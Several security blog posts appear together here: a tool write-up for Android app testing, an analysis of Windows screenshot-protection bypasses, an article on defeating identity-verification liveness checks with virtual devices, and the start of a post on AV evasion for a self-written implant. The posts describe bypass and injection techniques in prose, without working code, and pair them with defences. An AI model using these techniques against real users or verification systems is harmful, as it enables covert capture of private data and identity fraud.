Every time I sit down for an Android app assessment, I open the same things for my setup:

• A scrcpy window so I can drive the phone with a mouse and keyboard.
• A terminal running adb logcat | grep <package>.
• Another terminal for adb shell.
• Burp for the proxy.
• Frida somewhere running frida-server over adb.

Multiple windows across two monitors gets old fast, and half of what I run at the start of every job is the same adb push, adb forward, adb reverse, pm install, cat /data/data/… dance. So I spent a few weekends building Loupe, which is an Android device control hub that runs entirely in a Chromium tab, talks to the phone straight over WebUSB, and puts the mirrored screen, logcat, file browser, proxy, and Frida side by side in one window.

I’ll use InsecureBankv2 as the demo app in this post, since it’s the classic “everything you shouldn’t do” Android target.

Here’s what the whole thing looks like:

If you’d rather see it move first, here’s a 40-second clip driving through the file browser, apps panel, and Frida target picker:

Why the Browser

The short answer: I got tired of installing things.

adb needs adb. scrcpy needs scrcpy. frida-tools needs a Python venv, which needs a working Python version this month. A junior on a fresh laptop can lose half a day to that.

Chromium has WebUSB, which lets a web page speak to a plugged-in USB device after the user picks it from a browser prompt. Yume Chan already ships ya-webadb, a full ADB implementation in TypeScript that runs on top of WebUSB, and a corresponding scrcpy client that decodes the mirror in the browser using WebCodecs. So the browser can already talk to the phone. It just needed a UI on top and a small local bridge for the two things WebUSB can’t do (Wi-Fi pairing over mDNS, and running frida-server from your machine).

The result is a project you can clone and use with no drivers, no desktop adb server, and no agent app on the phone.

git clone https://github.com/capt-meelo/loupe
cd loupe
npm install
npm run dev

Open http://localhost:5173 and you get a tab that looks like the screenshot above.

Connecting the Phone

Option 1: Over USB, turn on USB debugging and plug the phone in. Stop any desktop adb first since it holds the USB interface exclusively (adb kill-server is enough). Then pick “Connect a device over USB” from the header and tap “Allow USB debugging” on the phone.

Option 2: Over Wi-Fi, pick “Connect over Wi-Fi”. The first time, it asks you to pair with a code or a QR. After that, Loupe remembers the phone and you just click the entry. Wi-Fi mode needs adb installed on your machine because the local bridge uses it for mDNS discovery and pairing. USB mode needs nothing at all.

Once the phone is up, the header shows the model, the address, and whether root is available. On a rooted device, it lights a small # root chip in the header, and the shell prompt becomes # instead of $.

Two-pane workspace

Loupe splits the right side into a top and bottom tab strip. You can watch one panel while working in another, drag any tab from one strip to the other, and resize the divider between them. Any tab can also maximize to fill the pane.

In the shot above, the top strip is on Logcat and the bottom is on Shell. During a real assessment I usually keep the mirrored screen on the left, Logcat streaming up top, and swap the bottom between Files, Frida, and Shell as needed.

Screen Mirror

The mirror is scrcpy running through ya-webadb. It pushes the same server JAR that command-line scrcpy uses, then decodes the H.264 stream in the browser with WebCodecs. Touch, drag, swipe, scroll, the hardware keys, notification shade, rotate, and wake all work. A record button in the mirror toolbar drops a webm to disk with no time limit, so evidence for a report is one click away.

There’s also a small “Type text into the device” input at the bottom of the mirror pane. This is genuinely useful because typing a long test payload with an on-screen keyboard is misery.

Logcat

Live stream with per-level filters, text search, and an “app” filter that narrows to a package’s processes. Pause and export at any time.

The filter honors process boundaries, so hitting “com.android.insecurebankv2” narrows to the app and every child process it spawns. A lot of vulnerabilities in Insecure-style apps come down to something the app itself writes to logcat in plaintext, so this is the panel I open first every time.

The counter at the bottom shows “203 / 2000 lines · streaming”, which is another thing I miss in a plain terminal: knowing how much of the buffer I’m looking at.

Files

A file browser with search, upload, download, copy, move, and delete, with previews for the file types you actually run into during an assessment: images, text and config, HTML (rendered), PDFs, audio and video, and SQLite databases in a real table browser.

On a rooted phone I usually spend most of my time in /data/data/<package>/, which is where the app’s private state lives. Loupe knows this and lets me type a path or click through the crumbs:

InsecureBankv2 stores its user database in databases/mydb, which the sql.js preview reads without needing to pull the database to my local machine:

And its “server config” gets serialized to a shared preference file:

None of this is exotic. It’s just faster than adb pull → open in a viewer → repeat every time you want to check a value.

Apps

Lists user, system, or all packages, each with its launcher icon and a readable name, sorted by name. Clicking a package fills the right pane from dumpsys package: version, SDK levels, data dir, APK path, install and update timestamps, and the full permission list.

The row buttons do the operations I always want. Install APK in the toolbar opens a file picker and installs whatever you throw at it, which is great for dropping a new build without a terminal. Each row has launch, stop, and uninstall.

The detail pane header adds a data dir shortcut that opens the app’s private storage in the Files tab, an enable/disable toggle that reflects the current state, a clear cache button, and a clear data button.

Here’s the panel after searching for “insecure” and selecting the row:

The dataDir value there is a clickable jump into the Files tab pointed at exactly that path.

Frida

The Frida panel is the one I’m most happy with, because installing and driving frida-server on a phone is the part of Android assessments I always fumble.

Loupe does the whole cycle. If frida-server isn’t on the phone, one button pulls the right architecture from the Frida GitHub release, pushes it to /data/local/tmp/, and chmods it. If it’s already there, it shows the version and offers “Update to latest”. Start and Stop are buttons, so there’s no terminal you can’t close.

A target dropdown lists your installed apps, so you don’t have to frida-ps -Uai before every run. The script area is a CodeMirror editor with JavaScript syntax highlighting; paste a script and hit Run, or paste a URL to a Frida CodeShare page, a GitHub .js file, or a Gist, and Loupe fetches it on Run. There’s a spawn toggle for scripts that need to hook before an app starts.

Since Loupe reaches frida-server through the browser’s own device connection instead of a host adb port forward, the same script works over USB and over Wi-Fi with no code change. And because a lot of the older CodeShare scripts still use the pre-Frida-17 Java.perform API, Loupe restores the Java bridge and the other globals Frida 17 removed, so old scripts keep working without a rewrite.

Proxy

Setting up an intercepting proxy on a phone always used to be:

1. Find your laptop’s IP.
2. Long-press the Wi-Fi network, choose “Modify”, scroll to Proxy, type it in, save.
3. Realize you typed the wrong port.

The Proxy tab has two sections. The first is a device proxy toggle: type your machine’s IP and port, hit Start, and Loupe sets it as the global proxy for the whole device with settings put global http_proxy. Stop pulls it back down. A Test connection button opens a TCP socket from the Loupe bridge to the proxy and reports whether it’s actually reachable, which is the failure mode I hit most: forgot to switch Burp from “loopback only” to “all interfaces”.

The second is a CA certificate installer. Point it at a .der or .pem and it installs it into the system trust store so HTTPS decrypts.

On a Magisk or KernelSU device, Loupe writes a small boot module (loupe-cacerts) that lays a tmpfs over /system/etc/security/cacerts at every boot and drops the CA in. So the cert survives reboots without repackaging the system partition. If Magisk isn’t there, Loupe falls back to a one-shot tmpfs that lasts until the next reboot, which is still enough for one session.

If you’ve ever fought Android’s Conscrypt APEX trust store to make a Burp cert stick across a reboot, you know why this is a nice thing to have.

Inspector

Dump the current view hierarchy into a tree, click a node to see its attributes, resource-id, bounds, text, and traits.

The tree itself is nothing new compared to Android Studio’s Layout Inspector. The useful bit is that it opens in the same window as the mirror and logcat, and a fresh dump is one click away every time the app’s UI changes.

Performance

A live dashboard sampled every two seconds:

• CPU and memory with sparklines.
• The foreground app’s FPS, computed from dumpsys gfxinfo. Idle apps sit near zero, which is correct.
• Battery: level, status, health, temperature, voltage, technology, power source.
• Network: connection type, SSID, IP, signal, link speed, live throughput.
• Storage on /data.
• Uptime and load average.

I use this less for “performance testing” and more as a health strip while the phone is doing something. If throughput jumps while an app claims to be idle, that’s a hint. If temperature spikes during a Frida script, that’s another.

Settings

An editor for the system, secure, and global namespaces of the Settings provider, the same thing you’d otherwise poke with adb shell settings put. Search across a namespace, pick a key, edit the value or delete it.

This is useful for the boring plumbing of a test setup: setting stay_on_while_plugged_in, flipping development_settings_enabled, dropping airplane_mode_on, or nuking whatever weird global_http_proxy_* residue an earlier proxy pass left behind.

Shell

A real adb shell in a tab, with command history. The prompt shows # when the elevated shell is on and $ when it is not, so you always know which permission level your command is running at.

Nothing exciting about it. It sits in the same window as everything else, and it’s root when the device is rooted.

Processes and Memory

The Processes tab is a live process table with the app name, package, per-process CPU and memory, sortable by any column. Kill or force-stop from the row.

The Memory tab reads dumpsys meminfo for a selected process, plus /proc/<pid>/maps. When the app is debuggable, it can also request a heap dump with am dumpheap. When it isn’t, it writes an ELF core file that opens in gdb, LLDB, radare2, or Ghidra.

I’ve used these two mostly to answer “what actually got spawned when I tapped the button” and “which library is holding that string”, respectively.

Reboot Menu

Small thing, in the header: a Reboot menu with System, Recovery, and Bootloader. If you spend any time flashing modules or bouncing between recovery and normal boot, having this one click away in the same tab is a small daily quality-of-life win.

Root Aware

On a rooted device, Loupe detects su on connect and starts routing operations through it: reads into /data/data/, kill and force-stop of processes outside your own UID, non-debuggable heap dumps, browsing across app sandboxes. The # root chip in the header tells you when it’s on. When it isn’t, the same tabs work, they just show fewer things.

Putting it Together

Here’s an end-to-end run against InsecureBankv2, because the individual screenshots don’t quite land the point.

I connect the phone (Wi-Fi in this case), pick the paired entry from the device menu, and the header goes green with a # root chip because the phone is rooted with Magisk. I hit Start mirroring and the phone shows up on the left. Then:

1. Install the app. Apps tab, Install APK, pick InsecureBankv2.apk. It shows up in the list with an icon and a name a few seconds later.
2. Poke it. Launch it from the row’s launch button. The mirror shows the login screen. I type jack / Jack@123$ (its baked-in credentials) using the “Type text into the device” input at the bottom of the mirror pane, or I just tap on the phone.
3. Watch what it writes to logcat. Switch to Logcat, filter by package. The FilePref transitions and the login events land in real time.
4. Read its private storage. Files tab, then /data/data/com.android.insecurebankv2/. Its shared_prefs/*.xml files preview inline. The databases/mydb opens in the SQLite browser with tables listed on the right and rows on the left.
5. Hook a method. Frida tab. Pick InsecureBankv2 from the target dropdown. Paste a small Java hook into the script editor, hit Run, and its output streams into the log pane on the right as the app calls the method.
6. Turn on the proxy. Proxy tab. Type in the laptop’s IP and Burp’s port. Hit Start. The app’s requests appear in Burp. Hit Install CA cert, point at Burp’s DER export, and the CA gets a Magisk module. Reboot from the header’s Reboot ▸ System menu, and the cert is still there afterwards.

None of that is new. All of it, other than the reboot, happens without alt-tabbing or opening a terminal.

What it’s Built On

• ya-webadb for the ADB protocol over WebUSB and for the scrcpy client. Without this project Loupe would not exist.
• scrcpy for the screen mirror.
• Frida and frida-node for the instrumentation panel.
• sql.js for the SQLite preview.
• React and Vite for the UI.

The local bridge is a small Node process the dev server also starts, so the browser page can pair over Wi-Fi (mDNS), test a proxy TCP endpoint, and drive frida-node from the same origin as the page. The browser tab does everything else.

What it Doesn’t Do

A few things worth calling out.

Loupe is not a Play Store client. It won’t download apps for you.

There’s no SSL unpinning built in. I had one in an earlier version and I took it out. A universal script that works against every app doesn’t exist, and shipping one that lies about that is worse than not shipping one at all. The Frida panel is right there if you want to run yours.

It’s also not a way around ADB debugging being off. That’s a phone setting. If USB debugging is off, no browser tool can turn it on for you.

Conclusion

Loupe is up at github.com/capt-meelo/loupe. If it’s useful, tell me. If it’s missing something you’d use every day, open an issue.

That’s all. Thanks for reading!

The DRM Flag That Isn’t DRM

SetWindowDisplayAffinity keeps a window out of screenshots, screen shares, and Recall snapshots. Vendors sell that as “screenshot protection,” and procurement checklists tick it off as data-exfiltration risk mitigated. The API’s own documentation disagrees. This post breaks down what the flag actually guarantees, who can route around it and how, and why a black screenshot is the beginning of a threat model rather than the end of one.

The Pitch, and the Problem with It

Open a modern secure-messaging app, password manager, or exam browser on Windows 11, hit PrtSc, and paste. The result is a black rectangle, or nothing at all. Vendor marketing calls it “screenshot protection.” Privacy blogs call it “blocks Recall.” The procurement checklist gets a tick next to data exfiltration: mitigated.

Microsoft’s own documentation for the API doing the work says otherwise:

Unlike a security feature or an implementation of Digital Rights Management (DRM), there is no guarantee that using SetWindowDisplayAffinity … will strictly protect window content.

The feature that makes a window disappear from screenshots is explicitly not a security feature, according to the people who built it. Yet vendors build a whole category of “privacy” and “DLP” features on top of it.

Microsoft is not consistent about this either. The Recall management documentation, aimed at developers whose remote desktop clients lack screen capture protection, calls adding it “an easy feature”, labels it “This DRM flag”, and points them to the very same SetWindowDisplayAffinity API whose own reference page insists it is not DRM. Two documents, one API, opposite claims

That gap, between what the control implies and what it guarantees, is what this post takes apart. Attackers route around it without much thought. Defenders keep inheriting it as a checkbox someone else already ticked.

How the Flag Works

The Win32 function doing the work:

BOOL SetWindowDisplayAffinity(
  [in] HWND  hWnd,       // top-level window, must belong to the calling process
  [in] DWORD dwAffinity  // the exclusion mode
);

Three values for the dwAffinity parameter matter:

WDA_EXCLUDEFROMCAPTURE is the newer, “better” flag. It arrived in Windows 10 Version 2004 (build 19041). Before that, WDA_MONITOR was the only option, and it left a tell-tale black rectangle. The upgrade is cosmetic from a defense standpoint: black box versus empty space. The security boundary is identical.

The difference is in what the capture comes back with. Under WDA_MONITOR, a screenshot or a screen share contains a black rectangle sitting exactly where the window is, and whatever the window overlaps is hidden along with it. Anyone looking at that capture learns that something was being withheld, how big it was, where it sat, and, in the case of a recording, how long it stayed open and when it closed. Under WDA_EXCLUDEFROMCAPTURE, the window is not in the frame and the desktop behind it shows through, so the capture looks like the application was not running at all. The user sharing their screen has no black box to explain, and the people watching get no cue that anything was hidden.

The Desktop Window Manager (DWM) enforces the exclusion. It is the compositor that assembles every window into the final image on screen. When a capture tool asks DWM for a frame of the desktop, DWM builds that frame and leaves the flagged window out of it. The pixels still reach the physical display; they never reach the composited frame handed to the capture tool. The flag embeds nothing in the window’s content and blocks no capture tool from running. Every bypass later in this post is a version of the same idea: get the image from somewhere other than DWM’s composited output, and the exclusion never applies.

Why Developers Reach for It Anyway

It’s an attractive control because:

• It’s one line of code. No kernel driver, no service, no secure enclave.
• It’s OS-native. No third-party dependency to vet.
• It defeats the lazy attacker. PrtSc, Snipping Tool, Zoom/Teams/Meet screen share, OBS via the standard desktop-duplication path: all come up empty. Against a casual insider or an over-eager AI screenshotter, that’s a win.

The Signal case is the honest version of the story. When Microsoft shipped Recall, a background feature that silently snapshots the screen every few seconds into a searchable database, Signal had no developer-facing opt-out to keep chats out of the index. So, Signal set the display-affinity flag on its window. Signal’s own engineers described it, more or less, as a “one weird trick”: abusing a media-protection flag because Microsoft gave privacy apps no proper API. That’s a defensible decision against that specific threat, an OS feature capturing through the normal compositor path. It is not a general-purpose confidentiality control, and Signal never claimed it was.

The failure mode is the marketing leap: a product that “defeats normal screenshots” gets sold as one that “protects sensitive data,” with no threat model in between.

Who This Does Not Stop

Every control ever shipped can be bypassed, so the useful question is who can bypass this one, holding what access. Three capability tiers cover it.

Tier 0: The User Who Avoids the Blocked Path

Even with zero special access, plenty of capture paths never touch the DWM-composited surface the flag protects.

• The analog hole: a phone camera pointed at the monitor. The pixels that reach a retina reach a camera sensor the same way. No API closes this, and Microsoft’s docs concede as much.
• Context that breaks DWM: the protection only works while DWM is composing the desktop, a limit Microsoft states in its documentation. Remote Desktop sessions disable DWM, so a window invisible to a local screenshot can render perfectly over RDP. Certain remote-assistance and mirroring stacks, and some virtual-display configurations, land in the same bucket. The control silently fails open, which is the worst way for a control to fail.
• VM quirks: in basic VMs without GPU acceleration, the compositor path can differ enough that the exclusion doesn’t behave as advertised.

None of these require privilege escalation. They require not using the one capture method the flag was designed to block. Tier 0 is where most real-world leakage happens, and it leaves almost nothing behind on the host.

Tier 1: The Local User Willing to Run Code

The window belongs to a process, and processes on a user’s own machine are not a trust boundary against that user. IOActive consultant Taha Draidia recently published the concrete version of this in Signal Windows Desktop: contentProtection Bypass, which takes apart Signal Desktop’s screen-capture protection. Signal reaches this same Win32 call through Electron’s setContentProtection() wrapper, so the write-up doubles as a case study in what the flag is worth.

• Flip the flag back from inside the process. Draidia tested the obvious approach first: call SetWindowDisplayAffinity(hwnd, WDA_NONE) on Signal’s window from another process. That fails with ERROR_ACCESS_DENIED, and running elevated fails the same way, because the kernel check compares the caller’s process identity against the window’s owner rather than its privilege level. Administrator rights do nothing here. CreateRemoteThread into Signal’s own process satisfies the check, and the protection turns off with no error, no prompt, and nothing on screen to mark the change.
• Capture below the compositor. DWM removes the window while assembling the desktop image, so the removal exists only in the copy DWM hands out. Capture that reads frames lower in the stack and closer to the hardware never receives that copy, and may see the window intact. The flag protects one rendering path rather than the content.

This explains where the protection breaks down, not how to build something that breaks it. Anyone who can run code in the user’s session can neutralize the flag, and the barrier is measured in API calls rather than in exploit development. The control is therefore exactly as strong as whatever stops code execution in that session.

Tier 2: Kernel, Driver, or Physical Access

The flag does not apply here at all. DWM checks the exclusion while it builds the desktop image, so code running at or below the display driver gets the pixels without that check ever happening. Independent kernel-mode research makes the point from the other direction: the proof-of-concept driver DWMShield skips the public API entirely and calls the undocumented internal routine GreProtectSpriteContent directly, passing a target window handle over an IOCTL from a non-elevated client. It reaches the same DWM enforcement point Draidia’s work identified, but from underneath the ownership check rather than by satisfying it, which is the mirror image of the CreateRemoteThread approach in Tier 1, and a separate piece of research rather than an extension of it.

The Actual DRM, for Comparison

The irony in the title is that real DRM exists on the same platform and works on a different principle. Hardware-backed protected media paths (Widevine L1, PlayReady SL3000, FairPlay) decrypt and composite content inside a Trusted Execution Environment, a secure media path that user-mode and often kernel-mode capture cannot reach. That’s why screen-recording a premium streaming-video service yields a black frame even with admin rights: the pixels never exist in a framebuffer the OS will hand out.

The flag that isn’t DRM, side by side with the DRM that is:

SetWindowDisplayAffinity is a hardening measure against opportunistic capture. Hardware DRM is a confidentiality control. Treating the flag as a confidentiality control is where the false sense of security begins.

What Developers Should Do

Using SetWindowDisplayAffinity is reasonable. Products go wrong when they treat that one API call as the finished control.

Set it on every top-level window, not just the main one. Affinity is a per-HWND property and every new window starts at WDA_NONE. Dialogs, tooltips, context menus, toasts, and the separate windows that WPF popups and Electron render into each get their own HWND. Flag the main window but not the dialog, and the screenshot catches the secret in full while the ordinary window behind it is the part that gets hidden.

Check the return value. The call returns FALSE on a window that isn’t top level or doesn’t belong to the calling process, and a silent failure still looks protected in code review. Treat it as a security event. On builds older than 19041, WDA_EXCLUDEFROMCAPTURE succeeds and behaves as WDA_MONITOR, so the window turns black instead of vanishing and the API never mentions the difference.

Re-read the flag. GetWindowDisplayAffinity reads the current value from any process, so the app or a monitoring agent can poll it. A change to WDA_NONE the app didn’t make means something else is writing to its process: log it, alert on it, and consider blanking the view until the app can verify its own state.

Use the supported control when one exists. Recall now has real policy: Allow Recall to be enabled (AllowRecallEnablement) and Turn off saving snapshots for Recall (DisableAIDataAnalysis), and managed devices have it removed by default. The flag was a workaround for consumer machines with no opt-out, which is still where it earns its keep.

Document the threat model. Name what the feature stops: screenshot tools, screen sharing, OS-level snapshotting. Name what it doesn’t: cameras, remote sessions, code running in the user’s session, anything at kernel level. Microsoft’s Azure Virtual Desktop documentation is the model to copy: it states plainly that the feature isn’t DRM-level protection and isn’t a substitute for one, and recommends pairing it with other controls.

Pair it with content-level controls. Reveal-on-tap for secrets, short display timeouts, redaction by default, per-session watermarking.

What Defenders Should Monitor

You cannot stop capture on a machine the user controls. You can often catch the attempt.

Injection into the protected app: the Tier 1 bypass is a common and ordinary injection, and the Signal bypass used CreateRemoteThread, the loudest option available. Watch Sysmon Event ID 10 (ProcessAccess) against that target with PROCESS_VM_WRITE, PROCESS_VM_OPERATION, or PROCESS_CREATE_THREAD; Event ID 8 (CreateRemoteThread); Event ID 25 (ProcessTampering); and Event ID 7 (ImageLoad) for unsigned modules or anything from a user-writable path.

Tamper events the app reports about itself: this depends on developers implementing the affinity re-read above, so ask whether they did. An app reporting “my window affinity changed and I didn’t change it” is a detection with almost no false-positive surface.

Capture and remote-control tooling on regulated hosts: OBS, ShareX, Snagit, ffmpeg with a screen-grab input, and support stacks such as AnyDesk, TeamViewer, and ScreenConnect. Inventory and policy rather than alerting, since none are malicious by default. The question is why a capture stack is installed on a host whose security depends on capture being hard.

Policy drift: if Recall is disabled by policy, verify it stayed disabled on the endpoint rather than trusting that the GPO exists. BYOD is the harder case, because Recall is available by default there and the user decides.

Everything a camera sees: out of reach of host telemetry. That leaves physical controls and per-session watermarking that survives a photograph. “We can’t stop the screenshot, but we can tell whose session it came from” is a more defensible promise than “the screenshot came out black.”

Conclusion

Read the flag as what it is and Microsoft’s two pages stop contradicting each other: it keeps sensitive windows out of casual captures and out of Recall on machines where the user is not the adversary, and it does nothing about the three tiers above. When a datasheet or a control matrix claims more than that, the difference is data with nothing protecting it, and another control has to cover the gap. A design that depends on a screenshot-proof window for confidentiality is a finding rather than a control.

References

• Microsoft Learn: SetWindowDisplayAffinity function (winuser.h)
• Microsoft Learn: Manage Recall for Windows clients
• Microsoft Learn: Screen capture protection in Azure Virtual Desktop
• IOActive: Signal Windows Desktop: contentProtection Bypass
• GitHub: ahossu/DWMShield

Introduction

The rise of fraud and identity theft poses a growing concern for both individuals and organizations. As AI and deepfake technologies advance at an unprecedented pace, the need for a robust form of identity verification has become increasingly important. Traditional identity verification technology has become vulnerable to sophisticated attacks, such as spoofing, where fraudsters mimic someone’s identity. To combat the growing threat, identity providers integrated liveness detection to ensure the person undergoing verification is real, live, and physically present. However, as liveness detection evolves, fraudsters have adapted to bypass this protection.

In this article, we will explore how liveness detection, which is designed to distinguish real users from spoofed representations, can be undermined through the use of virtual devices. We will cover the tools and techniques, the setup process, and a demonstration of the bypasses. We will also discuss how criminals take advantage of the biometric data (facial images, voice recordings, and ID photos) individuals and organizations often unknowingly post and leave online. Finally, we will conclude with practical recommendations to help identity providers combat such attacks and improve their systems.

Understanding Remote Identity Proofing

Remote Identity Proofing (RIDP) is the process of verifying someone’s identity through digital channels without requiring their physical presence. This helps combat fraud by confirming the end users are real and who they claim to be. In sectors like banking, insurance, cryptocurrencies, and payments, RIDP has emerged as a key component of digital trust. RIDP also plays a big role in regulatory programs like Know Your Customer (KYC), Customer Due Diligence (CDD), and Anti‑Money Laundering (AML).

Common forms of RIDP include:

• Document validation, which relies upon the authenticity of government issued IDs such as passports or driver’s licenses.
• Biometric verification, such as facial recognition, fingerprint scanning, and voice authentication, which focuses on someone’s unique physical characteristics.
• Knowledge-based approaches, wherein multiple signals (e.g., passwords, PINs, OTPs) are collected.

Verification Methods & Their Related Attacks

This article focuses on the following forms of identity verification:

• Facial Recognition
• Document Validation
• Voice Authentication

Facial Recognition

Facial recognition is the process where a user’s facial features are captured, extracted, and compared against a database of faces to confirm identity. In practice, this makes the camera pipeline and its integrity (how the face data is acquired and delivered to the verification component) a critical security boundary.

With this type of verification, fraudsters seek to impersonate a real person through Facial Spoofing, wherein a valid‑looking fake representation of the target is presented to the camera. This is typically carried out via:

• 2D Spoofing - presenting a printed photo or image displayed on a digital device (e.g., monitor or phone) to the camera.
• Video Replay - presenting a pre‑recorded video to the camera rather than a live capture.
• 3D/Silicon Masks - creating a 3D reconstruction of a face or a mask to simulate a face in a physically present form.

Document Validation

Another method is verifying the authenticity and validity of an identity document such as a passport, national ID, or driver’s license. This method, called Document Validation, typically includes checking visual and structural cues and determining whether the presented document is legitimate versus altered or fabricated.

In an attempt to bypass document validation, fraudsters typically impersonate someone by presenting stolen, forged, or falsified documents. This is called Document Spoofing and common methods include:

• Printed Copy - using a printed reproduction of an authentic or forged document.
• Screen Replay - presenting a legitimate (stolen) or forged document via a digital screen.
• Portrait Overlay/Substitution - placing someone else’s photo over the original photo in a legitimate document.

Voice Authentication

Voice authentication identifies a person based on the unique biological characteristics of their voice, including traits such as dynamics, pitch, intensity, and articulation. As with face and document capture, the trustworthiness of the capture channel (microphone input and the path from device to verification system) is foundational.

Speech Spoofing focuses on impersonating a target user by producing a voice output that matches the target’s “voice print/pattern” and speech behavior. Common methods are:

• Voice Imitation/Conversion - making the fraudster’s voice sound similar to the target’s voice.
• Speech Synthesis/Cloning - using AI and text‑to‑speech (TTS) technologies to generate a replica of the target’s voice.
• Voice Replay - using a pre‑recorded voice of the target.

Liveness Detection as a Defensive Control

Liveness detection aims to prevent spoofing attacks by ensuring the user is live and physically or actively present at the time of the verification process rather than a recording or synthetic source. Liveness detection is implemented either passively or actively. With passive liveness detection, the verification system analyzes biometric signals without requiring explicit user interaction for a faster and seamless experience. As for active liveness detection, the system prompts users to perform actions such as head movements or speaking phrases to ensure users are actively/physically present during the verification process; however, it adds friction and inconvenience to some users.

The following demonstrates how liveness detection works for each verification system discussed above:

Facial Liveness

RIDP systems typically check for facial liveness using a combination of active and passive methods. Active liveness uses randomized challenge–response prompts, such as blinking or head movements, to confirm real‑time interaction. On the other hand, passive liveness runs in the background, analyzing depth cues, skin texture, light reflections, and subtle physiological signals that are difficult for photos, videos, or deepfakes to replicate.

Document Liveness

Instead of checking a document’s format or text alone, document liveness analyzes how a document interacts with light and motion. Real IDs exhibit natural reflections on holograms and laminates, realistic shadows, and consistent texture patterns. Screen replays and printed copies expose artifacts such as Moiré patterns (image distortion due to the overlapping grid pattern between the display and the camera capturing it), color limitations, or unnatural edges, which modern AI models are trained to detect within a single image or a short video capture.

Voice Liveness

Passive voice liveness analyzes spectral and temporal characteristics of speech, identifying artifacts common in text‑to‑speech, voice cloning, and replay attacks. Whereas active liveness adds challenge‑response prompts, requiring users to speak unpredictable phrases (instead of predefined ones) in real time, making replay and synthetic attacks far more difficult.

Injection Attacks Against Liveness Detection

As liveness detection matured and spoofing/replay attacks became easier to detect, threat actors shifted toward more sophisticated techniques. This led to the rise of injection attacks, which target the verification pipeline instead of the sensor. Instead of fooling the sensors by presenting falsified media to a camera or microphone, injection attacks feed prerecorded, manipulated, or synthetic biometric data directly into the application or API. This makes the system believe the input is legitimate, since the injected data is a bit-for-bit replica of the source media and is of high quality.

The following diagram illustrates the difference between a replay and an injection attack:

Typically, Injection Attack Methods (IAM) fall into two categories: attacks performed via modified or falsified devices, and attacks performed via substitution of captured media.

Injection via Modified or Falsified Devices

In this type of attack, the attacker manipulates the capture environment itself so that falsified media is treated as legitimate. One approach involves the use of virtual devices, where software‑based cameras or microphones emulate physical hardware. These virtual components can present attacker‑controlled images, videos, or audio streams directly to the verification system while appearing as standard capture devices.

Another approach uses hardware modules inserted between the sensor and the RIDP system. In this method, the hardware intercepts and replaces genuine sensor output with attacker‑supplied data before it reaches the verification logic.

A third variant relies on device emulators, where the entire verification environment is simulated. Emulated devices can present falsified data while mimicking expected device characteristics, allowing attackers to test and refine injection techniques at scale.

Injection via Substitution of Captured Media

Rather than altering the device itself, some threat actors may instead target the verification path that handles the captured media. One technique involves function hooking, where application- or system‑level functions responsible for camera or microphone input are intercepted and modified. This allows attackers to replace genuine capture data with prerecorded or synthetic media at runtime.

Another method relies on traffic interception, commonly described as a man‑in‑the‑middle (MiTM) scenario. In this case, media streams are intercepted and altered as they are transmitted between the client and backend services, enabling substitution without modifying the physical capture process.

Using Virtual Devices to Circumvent Liveness Detection

The final area to address is the use of virtual devices as a cheap and simple means to defeat liveness detection implemented with different verification methods.

Virtual devices are software-based devices that mimic the capabilities of physical devices and allow users to select different source media (images, videos, audio, scenes, etc.) and feed them to other applications. Because virtual devices are inexpensive (mostly open-source), easy to configure, and widely used for legitimate purposes such as streaming and conferencing, they present a scalable and practical attack vector.

Attack Demonstration

Virtual Device Against Facial Liveness

Scenario: Instead of using the phone’s native camera for a live capture, a fraudster injects a pre-recorded video using a virtual camera.

Virtual Device Against Document Liveness

Scenario: Instead of using a camera to capture the ID, the fraudster uses a virtual camera to submit it to the RIDP system.

Virtual Device Against Voice Liveness

Scenario: Instead of speaking through a microphone, the fraudster submits an audio record to the RIDP system using a virtual audio cable.

Threats: Widespread Biometric Data Exposure

A major factor behind the growing success of identity theft and imposter scams is the widespread availability of biometric data. Identity impersonation is no longer a high‑effort operation. Today, attackers can obtain biometric artifacts of their victims remotely, quickly, and at scale. Identity theft and impersonation no longer depend on physical proximity to the victim; attackers can now acquire usable biometric samples remotely and at scale.

Social media platforms have effectively become open biometric repositories. Profile pictures, short‑form videos, and live streams expose high‑quality facial imagery and voice samples across a wide range of lighting conditions, angles, and expressions. For attackers, this content is often more than sufficient to fuel replay attacks, deepfake generation, or voice cloning. Vlogs and user‑generated video content further raise the bar by offering extended, natural recordings of both face and voice. These longer samples reveal behavioral nuances, such as speech rhythm, pauses, expressions, and movement patterns, that can be leveraged to evade passive liveness detection and behavioral analysis.

The most severe risk comes from database and KYC leaks, which may expose high‑resolution IDs, enrollment selfies, and voice samples.

This level of biometric exposure fundamentally reshapes the RIDP threat model. Biometric data can no longer be treated as a protected secret. Instead, trust must shift toward verifiable capture integrity, proving that data was generated by a real sensor on a real device at a specific moment. Without strong capture‑time guarantees and device‑level assurance, even advanced liveness detection remains vulnerable to high‑fidelity impersonation attacks.

As biometric data becomes easier to obtain, the threat shifts from “Can attackers get the data?” to “Can systems reliably prove how and when the data was captured?”. Addressing this shift is essential to defending modern RIDP deployments against scalable impersonation attacks.

Recommendations

To mitigate these risks, organizations should adopt a layered defense strategy, such as:

• Identifying virtual devices through metadata, hardware identifiers, and supported capabilities.
• Detecting emulated environments using hardware characteristics, sensor availability, performance profiles, and interaction patterns.
• Ensuring authenticity and fidelity through remote image attestation, cryptographic signing, timestamping, and challenge‑response mechanisms.
• Analyzing input data and session metadata for anomalies, mismatches, or missing sensor signals that indicate virtual sources.
• Switching to mobile‑only RIDP by taking advantage of mobile security features like Trusted Execution Environments and sensor telemetry.
• Combining multimodal verification and human review for high‑risk use cases, supported by logging and analysis of failed attempts.

Conclusion

Remote Identity Proofing is essential to modern digital ecosystems, but it operates in a constantly evolving adversarial environment. As replay attacks lose effectiveness, injection attacks pose a more serious challenge to liveness detection. RIDP systems should assume that the capture device itself may be untrusted and design controls accordingly.

Ultimately, securing remote identity verification remains a cat‑and‑mouse game, and defending them against threats requires more than a single control; it demands continuous improvement, layered defenses, and an in-depth understanding of both attacker capabilities and system limitations.

Talk

Slides

Slides

Infographic

Credits: Mind’s Eye Creative

All the lessons I’m sharing here are based on what I learned/observed during my experiment.

AntiScan.Me has always been my choice to check how my implant fares against different AV software/companies. The main reason is they never distribute the scan results (well, at least that’s what they claim) compared to VirusTotal.

Checking the detection (evasion) rate of my implant helps improve my maldev skills. It also forces me to learn and research different evasion techniques which I find challenging and fun. But recently, I got stuck trying to get a 0/26 detection rate. Here’s an image showing the detection rate of the implant that I have written.

